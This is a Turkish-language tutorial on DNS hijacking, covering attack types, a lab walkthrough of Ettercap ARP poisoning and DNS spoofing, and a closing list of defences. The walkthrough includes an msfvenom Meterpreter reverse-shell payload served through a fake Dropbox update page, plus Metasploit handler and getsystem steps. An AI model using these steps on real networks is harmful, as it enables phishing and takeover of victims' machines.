DNS Hijacking saldırısını yapabilmek için DNS kavramını ve nasıl çalıştığını bilmek gerekir. Domain Name, web sitelerin ve sunucuların internet üzerinde almış oldukları addır. İnternet üzerinde erişilmek istenen web siteleri, web sunucuların içerisinde tutulmaktadır. Sunuculara ve web sitelere atanan IP adresleri vardır. IP adresi, IPv4 standardına göre 32 bitten oluşmaktadır. Her 8 biti bir oktet’e karşılık geldiği için bir IP adresinin 4 oktetten oluştuğu bilinmektedir. Kullanıcıların ziyaret edeceği web sitelerin IP adreslerini hafızada tutmaları zordur. Bu nedenle domain name yapısı meydana gelmiştir. Böylelikle her IP adresine belirli bir ad verilmektedir. IP adreslerine verilen isimler, genellikle kullanıcıların hafızasında kolaylıkla kalabilir.
Domain Name System (DNS), insanların okuyabildikleri ve akıllarında rahat tutabildikleri Domain Name bilgisini, makinelerin anlayacağı IP adreslerine çözümlemek için kullanılan bir servistir. İnternetin telefon defteri olarak adlandırılabilir. Bilindik örneklerden biri olan telefon rehberi örneğinde, insanlar rehberlerindeki kullanıcıların isimlerini bilir. Fakat kullanıcı sayısı artması durumunda hepsinin telefon numarasını bilmesi çok zordur. İnsanlar, telefon rehberinde aramak istediği kişinin adını bulup, bu adın karşılığında bulunan telefon numarasını arar. Bu örnek göz önüne alındığında, DNS telefon rehberinin yaptığı işi internette ve bilgisayarlar arasında yapar.
DNS, bir kullanıcının herhangi bir web sitesine istekte bulunmasıyla çalışmaya başlar. Ulaşılmak istenen web sitenin alan adı ve IP adresi DNS Server olarak adlandırılan sunucularda bulunur. DNS Server’a gelen istek sonucunda belirtilen alan adına karşılık gelen IP adresine istek gönderilir.
DNS Hijacking, DNS servisinin yönlendirilmesi anlamına gelir. DNS Hijacking, saldırganlar tarafından DNS’in yanlış alan adı çözümlemesi yapmasını sağlayarak kullanıcının kötü amaçlı sitelere yönlendirilmesidir. DNS Hijacking, Pharming amaçlı yapılabilir. Pharming ise, saldırganların maddi çıkar için kullanıcıları reklam sitelerine yönlendirmesidir. Ayrıca, DNS Hijacking yaparak kullanıcıların kişisel bilgilerini ve finans bilgilerini ele geçirmek amacıyla phishing (oltalama) saldırısı yapılabilir. Şekil 1’de Normal DNS çözümlemesi ve DNS Hijacking saldırısı gösterilmektedir.
Şekil1’de DNS çözümlemesinin normal akışı ve DNS Hijacking saldırısı gerçekleştirdikten sonraki yanlış DNS çözümlemesi gösterilir. Normal DNS çözümlemesinde Client example.com adresine gitmek için DNS Server’a istekte bulunur. DNS Server ise DNS çözümlemesi yaptıktan sonra Client makinesini example.com sunucusunun IP adresine yönlendirir. Böylece DNS çözümlemesi başarılı bir şekilde gerçekleşir. Diğer tarafta, client makinesi DNS Hijacking saldırısına uğramış DNS Server makinesine, example.com adresine gitmek için istekte bulunurken, DNS Server makinesinde yapılan yanlış DNS çözümleme sonucunda client makinesi zararlı sunucuya yönlendirilir. DNS çözümlemesinin yanlış yapılmasının sebebi, saldırgan tarafından DNS ön belleğinin zehirlenmesinden kaynaklı olabilir. DNS ön belleğinin zehirlenmesi, DNS ayarlarının kötü amaçlı değiştirilmesi olarak adlandırılabilir.
Birçok İnternet Servis Sağlayıcısı (ISP), kullanıcıların DNS isteklerini kontrol altına almak, istatistiksel verileri toplamak ve kullanıcıların bilinmeyen bir domaine erişmek istediği zaman kullanıcıyı reklamların veya uyarıların olduğu bir sayfaya yönlendirir. Ayrıca bazı hükümetler sansürlediği domainlere kullanıcıların erişmesini istemediği zaman yönlendirmelerle kullanıcıları sansürlenmeyen domainlere veya sansür uyarısının yapıldığı domaine yönlendirebilir. Bu yönlendirme yasal olduğu için DNS Hijacking olarak adlandırılmaz. Fakat yapılan benzer bir işlemdir. Yönlendirmenin yetkisiz kişilerce ve kötü amaçlı yapılması DNS Hijacking olarak adlandırılabilir.
DNS HIJACKING SALDIRI TÜRLERİ
Belli başlı dört farklı DNS Hijacking saldırı türü bulunur. Bu saldırı türleri; Local DNS Hijacking, Router DNS Hijacking, MITM DNS Attacks ve Rogue DNS Server saldırı türleridir.
Local DNS Hijacking:
Saldırganlar tarafından bilgisayarlara zararlı kod parçalarının yüklenmesi ile meydana gelen bir saldırı türüdür. Bilgisayara yüklenen zararlı kod parçası, bilgisayarın DNS ayarlarını değiştirerek, kullanıcıyı zararlı sitelere yönlendirmek amacıyla kullanılır. Bu saldırı tekniği ile kullanıcının kişisel ve finansal bilgilerini ele geçirmek için phishing saldırısı yapılabilir. Ayrıca bilgisayara yüklediği zararlı kod parçası ile bilgisayarda yapamadığı işlemleri yapabilmesi için kullanıcıyı zararlı siteye yönlendirerek bilgisayarda oturum elde edebilir.
Router DNS Hijacking:
Router cihazlarını hedef alan bir saldırı türüdür. Router’ın ilk kurulumunda kullanılan varsayılan parola bilgisi değiştirilmediği için saldırganların hedefi haline gelir. Saldırganlar, router cihazını varsayılan parola zafiyetini kullanıp ele geçirdikten sonra DNS ayarlarını değiştirerek, router’a bağlı bütün kullanıcıların yaptığı istekleri DNS ayarlarında belirlediği zararlı IP adreslerine ve sitelere yönlendirebilir. Yönlendirme sonucunda kullanıcılara yönelik phishing (oltalama) saldırıları gerçekleştirilebilir.
MITM DNS Attacks:
Man In The Middle (MITM) saldırı tekniği, genellikle istemci ve sunucu arasındaki trafiği görüntülemek veya değiştirmek amacıyla istemciden gelen isteği sunucuya yönlendirir. Saldırganların bulunduğu ağ üzerindeki kullanıcıları hedefleyen bu saldırı türüdür. Kullanıcının DNS sunucusuna istek göndermesi sırasında DNS sunucusu ve istek yapan kullanıcı arasına girerek, istek DNS sunucusuna gelmeden isteği kontrol altına alıp kötü amaçlı sitelere veya IP adreslerine yönlendirebilir.
Rogue DNS Server:
Bir saldırganın DNS Server makinesini ele geçirmesiyle DNS kayıtlarını değiştirerek, DNS Server makinesine gelen istekleri zararlı sitelere yönlendirmek amacıyla yapılan saldırı türüdür. Böylelikle, saldırgan kullanıcılar ile ilgili kişisel bilgileri ele geçirebilir ve kullanıcıların cihazlarını ele geçirmeye kadar ilerleyebilir.
DNS Hijacking saldırısı, ARP Poisoning ve DNS Spoofing saldırıları ile yapılabilir. ARP Poisoning saldırısı, bir MITM saldırı tekniğidir. ARP Poisoning, ARP tablosunun zehirlenmesi veya değiştirilmesi olarak adlandırılabilir. Bilgisayarlar kendi aralarında haberleşmek için Fiziksel MAC adresi ve Mantıksal IP adresi olarak iki adres bilgisine sahip olması gerekir. ARP ise, bu haberleşmede eldeki Mantıksal IP adresinden Fiziksel MAC adresini elde etmek için kullanılan bir adres çözümleme protokolüdür. Genellikle İstemci ve Sunucu kavramı üzerinden örneklendirilen MITM saldırı tekniklerinden ARP Poisoning, istemci ve sunucu arasındaki veri akışı gerçekleşmeden önce istemci, sunucu makinesinin Fiziksel MAC adresini öğrenmek için bulunduğu ağa ARP Request paketleri göndererek sunucu makinesinin hangi makine olduğunu öğrenmek ister. Böylelikle gelen cevap ile sunucu makinesinin Fiziksel MAC adresini ARP tablosuna ekleyecektir. Bu sırada, saldırgan makine istemci makinesinin atmış olduğu ARP Request paketine cevap olarak ARP Reply paketini gönderir. Böylelikle istemci makinesi, saldırgan makinesinin Fiziksel MAC adresini ARP tablosuna ekleyip sunucu makinesine göndereceği paketlerini saldırgan makinesine gönderir. Saldırgan makinesi, gelen paketleri görüntüleyebilir, değiştirebilir, silebilir ve yönlendirebilir.
DNS Spoofing aslında, DNS Cache Poisoning saldırısı olarak adlandırılabilir. DNS çözümleyicisinin ön belleğinde bulunan domain name ve IP adresi bilgisinin yetkisiz kişilerce değiştirilmesidir.
Şekil2’de saldırgan tarafından DNS Server makinesine DNS Spoofing saldırısı gerçekleştirilir. DNS Spoofing saldırısı, DNS ön belleğinin zehirlenmesine neden olur. Saldırganın DNS Server makinesinin ön belleğindeki DNS kayıtlarını değiştirerek istemci makinesinden gelen istekleri sahte siteye yönlendirip saldırı gerçekleştirebilir. Ayrıca istemci makinesi ele geçirebilir. Şekil 2’deki senaryoya benzer bir senaryo olarak istemci makinesinin DNS önbelleğinin zehirlenmesi sonucunda sahte sayfaya yönlendirilmesine sağlayan bir örnek aşağıda anlatıldı. Kurbanın yönlendirileceği IP adresi ayarlandı ve kullanıcıyı karşılayacak sahte bir sayfa hazırlandı.
Resim1’de basit bir HTML kodu yazarak kurban makineye yönelik yapılacak saldırı sonucunda kurbanı karşılayan bir sayfa oluşturuldu. Resim2’de Apache servisini başlatılıp sahte sayfa gösterilmektedir.
Resim2’de “service apache2 start” komutu kullanılarak Apache servisi çalıştırıldı. Yazılan basit HTML kodu tarayıcı üzerinde başarıyla test edildi.
Resim3’te kurban makinesini yönlendireceğimiz IP adresinin DNS ayarları yapılmalıdır. DNS Cache Poisoning saldırısı, Kali Linux üzerinde kurulu gelen Ettercap aracıyla yapılacaktır. Bundan dolayı, “/etc/ettercap/etter.dns” dosyayı içerisindeki DNS kayıtlarına “* A Sahte_IP_Adresi” adlı host kaydı eklenmelidir. Daha sonra Ettercap aracını çalıştırılır.
Resim4’te Ettercap aracının grafiksel kullanıcı arayüzünü çalıştırmak için terminal’de “ettercap -G” komutunu çalıştırmamız gerekir. Uygulama çalıştıktan sonra saldırıyı gerçekleştireceğimiz network interface’ini seçmemiz gerekir.
Resim5’te, network interface’i seçtikten sonra saldırıyı gerçekleştirmek için “Sniff” sekmesinden “Unified sniffing” seçeneğini seçmemiz gerekiyor. Daha sonra bulunduğumuz network interface’deki çalışan makineleri tespit etmek için tarama başlatmamız gerekiyor.
Resim6’da “Hosts” sekmesindeki “Scan for Hosts” seçeneğini seçerek bulunduğumuz network interface’i üzerinde tarama yapabiliriz. Resim 7’de 255 tane makine taranıp 4 makinenin hosts list’e eklendiği gösterilmektedir.
Resim7’de tespit edilen 4 tane IP adresi görüntülemek için “Hosts” sekmesindeki “Hosts list” seçeneğini seçmek gerekir. Tespit edilen IP adresleri Resim8’de gösterilmektedir.
Resim8’de kurban IP adresi “192.168.30.183” olarak belirlenmiştir. Belirlenen IP adresini hedef IP olarak belirlemek için IP adresini seçtikten sonra “Add to Target1” butonuna tıklanır. Hedef belirlendikten sonra saldırı başlatılır.
Resim9’da kurban IP adresini belirledikten sonra “Mitm” sekmesindeki “ARP Poisoning” seçeneği seçilerek MITM saldırısı başlatılır. Resim9’da MITM saldırısı yapmak için beş farklı teknik gösterilmektedir. Bunlardan ARP Poisoning saldırısını yaparak ARP zehirlemesi yapılacaktır. Böylelikle kurban makinesi bir istekte bulunduğunda, istekteki bulunan Destination MAC adresinin biz olduğunu kurban makineye ARP Reply paketi göndererek belirteceğiz.
Bunun için “ARP Poisoning” seçeneği seçildikten sonra Resim10’da gelen ekranda “Sniff remote connections.” özelliğini seçerek “OK” butonuna tıklanmalıdır.
Resim11’de MITM saldırısı sırasında DNS Spoofing saldırısı yapmak için “Plugins” sekmesindeki “Manage the plugins” seçeneğini seçerek “dns_spoof” plugin’ini eklememiz gerekir.
Resim 12’de “dns_spoof” eklentisi seçilerek yapılan MITM saldırısı sırasında DNS Spoofing saldırısı başlatılır. Böylelikle, saldırgan DNS Spoofing yaparak kurban makinesinin içerisindeki DNS Cache’te bulunan DNS kayıtlarından Host Record kaydını saldırgan makinesinin IP adresi olarak değiştirecektir.
Resim13’te “dns_spoof” eklentisinin eklenmesiyle DNS Spoofing saldırısının başarılı bir şekilde başlatıldı gösterilmiştir.
Resim14’te ise DNS Spoofing saldırısının başarılı bir şekilde ilerlediği gösterilmektedir. Spoof edilen domainlerin yanında belirtilen 192.168.30.137 IP adresi saldırgan makinesinin IP adresidir. Kurban saldırgan IP adresine yönlendirilerek, çalıştırılmış olan Apache servisi üzerindeki hazırlanmış HTML sayfayı görecektir. Yönlendirme işlemi herhangi bir web sitesine de yapılabilir. Bu yönlendirme işleminin yapılması için “/etc/ettercap/etter.dns” dosyasındaki IP adresinin değiştirilmesi yeterlidir. Örnek olarak “google.com” domain adresine yönelik yapılan bu saldırı, farklı bir domaine yönelik de yapılabilir. Kurban bir facebook kullanıcısı ise, saldırgan sahte bir facebook sayfası oluşturup “etc/ettercap/etter.dns” ayarlarında “facebook.com” domain adresine karşı kötü amaçlı sahte web sitesinin IP adresini verip kurbana yönelik bir phishing (oltalama) saldırısı gerçekleştirilebilir.
Resim15’te kurban tarayıcı üzerinde “google.com” domainin görüntülemek isterken yapılan DNS Spoofing saldırısı ile 192.168.30.137 IP adresli saldırgan makinesinin 80. portuna yönlendirilmiştir. DNS Cache’teki kayıtları görüntülemek için “ipconfig /displaydns” komutunu çalıştırılır. DNS Cache’te bütün domainlerin Host Record değeri 192.168.30.137 olduğu gösterilmektedir. Böylelikle saldırı başarılı bir şekilde sonuçlanmıştır.
Bu saldırı türünün gerçekleştirilmesinde MITM saldırısı için ARP Poisoning saldırı ve DNS ön belleğinin zehirlenmesi için DNS Spoofing saldırısı gerçekleştirilmiştir. Yapılan saldırı ağda bulunan tek bir makine yerine, ağdaki birçok makinenin bağlı olduğu DNS Server makinesine yönelik yapılırsa, ağdaki bütün makineler bu saldırıdan etkilenerek kötü amaçlı web siteye yönlendirilecektir. Bu web site kimlik bilgilerinin veya kullanıcı bilgilerini elde etmeye yönelik tasarlanmış bir site ise phishing (oltalama) saldırısı olarak adlandırılabilir.
Resim16’da gösterildiği gibi saldırı durdurulduktan sonra saldırıdan etkilenmemek için DNS Cache’in temizlenip eski haline getirilmesi gerekir. Çünkü DNS Cache’te saldırganın domainleri yönlendirmiş olduğu kötü amaçlı web sitesinin IP adresi bulunduğu için tekrar yönlendirme olacaktır. Yönlendirmenin olmaması için “ipconfig /flushdns” komutu çalıştırılarak DNS Cache temizlenmelidir.
Ayrıca DNS Hijacking saldırısının tehlikeli boyutlarından biri de kurban makinesini ele geçirebilmeye olanak vermesidir. Örnek olarak, saldırgan kurbanın “www.dropbox.com” adresine gitmesini, DNS Spoofing saldırısı ile sahte dropbox sayfasına yönlendirir. Kurban yönlendirildiği sahte dropbox sayfasından zararlı exe dosyasını indirip çalıştırır. Böylelikle saldırgan, kurban makinesinde oturum elde etmektedir. Resim17’de sahte dropbox sayfası ve zararlı exe’nin oluşturulması gösterilmektedir.
Resim17’de, sahte dropbox sayfası index.html olarak oluşturulup “/var/www/html” dizini altına eklenmiştir. Daha sonra Apache servisini başlatmak için “service apache2 start” komutu kullanılır. Zararlı exe dosyası, “msfvenom –p windows/x64/meterpreter/reverse_tcp LHOST=192.168.30.137 LPORT=4445 –f exe> /var/www/html/UpdateDropBox.exe” olarak oluşturulup “/var/www/html” dizininin altında kaydedilmiştir. LHOST ve LPORT bilgisi, saldırgan makinesinin IP adresi ve dinlemeye alacağı port numarasını belirtir. Bütün hazırlıklar bittikten sonra, Resim18’de zararlıyı dinleme modu ve DNS Spoofing saldırısı başlatılır.
Resim18’de dinleme modu metasploit framework adlı exploitation aracı ile gerçekleştirilir. Aracı çalıştırdıktan sonra “use exploit/multi/handler” komutu ile dinleme modunda kullanılacak exploit modülü seçilir. Exploit modülüne, dinlemesi istenilen payload’ı “set payload windows/x64/meterpreter/reverse_tcp” atanır. Atamadan sonra payload’ın içerdiği LHOST, LPORT ve EXITFUNC parametrelerine değer atması yapılır. LHOST’a “192.168.30.137” IP adresi, LPORT’a “4445” port numarası ve EXITFUNC parametresine “thread” değeri atanır. Atamalar yapıldıktan sonra dinleme modu hazır hale gelir. Ayrıca Ettercap aracı ile DNS Spoofing saldırısı yaparak “www.dropbox.com” domain adı spoof edilir. Resim19’da, “www.dropbox.com” adresine yapılan istek, DNS Spoofing saldırısı ile oluşturulan zararlı sayfaya yönlendirilmiştir.
Resim19’da kullanıcı zararlı yazılımı Dropbox uygulamasının güncelleştirme yazılımı olarak algıladığı için indirip çalıştıracaktır. İndirme işlemi sonucunun görüntüsü Resim20’de gösterildi.
Resim20’de indirilen zararlı yazılımın boyutu 7 KB’tır. Kullanıcı zararlı yazılımı çalıştırması ile Resim21’de gösterildiği gibi kullanıcının makinesinden oturum elde edilecektir.
Resim21’de LPORT parametresine 4445 değeri atandıktan sonra, “exploit” komutu ile dinleme modu başlatılmıştır. Resim20’de kurbanın zararlı exe dosyasını çalıştırması ile meterpreter oturumu elde edilir. Elde edilen meterpreter oturumu Administrator yetkileriyle alınmıştır. “sysinfo” komutu kullanılarak sistem bilgileri elde edilir. Daha sonra “getsystem” komutu kullanılarak NT AUTHORITY\SYSTEM token’ına geçiş yapılır. Böylelikle makinedeki en yüksek yetkiler elde edilir.
DNS HIJACKING SALDIRILARINDAN KORUNMA
DNS Hijacking saldırısı gibi DNS saldırılarında korunmak için belli başlı önlemler alınabilir. Yapılan belli başlı önlemler aşağıda gösterilmektedir.
- Ağda bulunan gereksiz DNS sunucuları kapatılmalıdır.
- Kullanılan DNS sunucuları, yetkisiz kullanıcılarca erişime kapalı olması için güvenlik duvarlarının arkasına yerleştirilebilir.
- Ağda bulunan Name Server’lara erişim kısıtlanmalıdır. Erişim kısıtlanmasında, fiziksel güvenlik, ağ güvenliği, güvenlik duvarları ve çok faktörlü erişim kontrolü gibi kontroller yapılmalıdır.
- Ağ tabanlı kimlik doğrulama işlemi aktif edilmelidir.
- DNS Cache Poisoning saldırısına karşı önlem almak için Source Port, Query ID, gibi değerler rastgele ayarlanmalıdır. Ayrıca, domain adının rastgele olarak büyük ve küçük harflerden oluşması sağlanabilir.
- Bir saldırgan bakış açısıyla DNS sunucularına yönelik saldırılar yaparak bulunan güvenlik açıklarının kapatılması gerekir.
- Name Server ve DNS Server’ın farklı makinelerde kurulması herhangi birine yapılan DDOS saldırısının diğerini etkilemesi engellenebilir.
- DNS Sunucuları arasındaki Zone transferleri kısıtlanmalıdır. Çünkü saldırganlar, DNS Zone transferi sırasında kopyalanan DNS kayıtlarını elde edebilir.
- Kullanıcıların, router’larda bulunan varsayılan parola bilgisini değiştirmesi gerekir.
- Yapılan saldırı sonucunda makinelere erişimin engellenmesi için antivirüs yazılımları kullanılabilir.
- VPN kullanılarak DNS trafiğinin şifrelenmesi sağlanabilir.
- Google DNS, Cisco OpenDNS gibi alternatif DNS hizmetleri kullanılabilir.
- Web sitelerin DNS kayıtlarına yönelik yapılan bir saldırının engellenmesi için iki faktörlü kimlik doğrulama mekanizması kullanılabilir.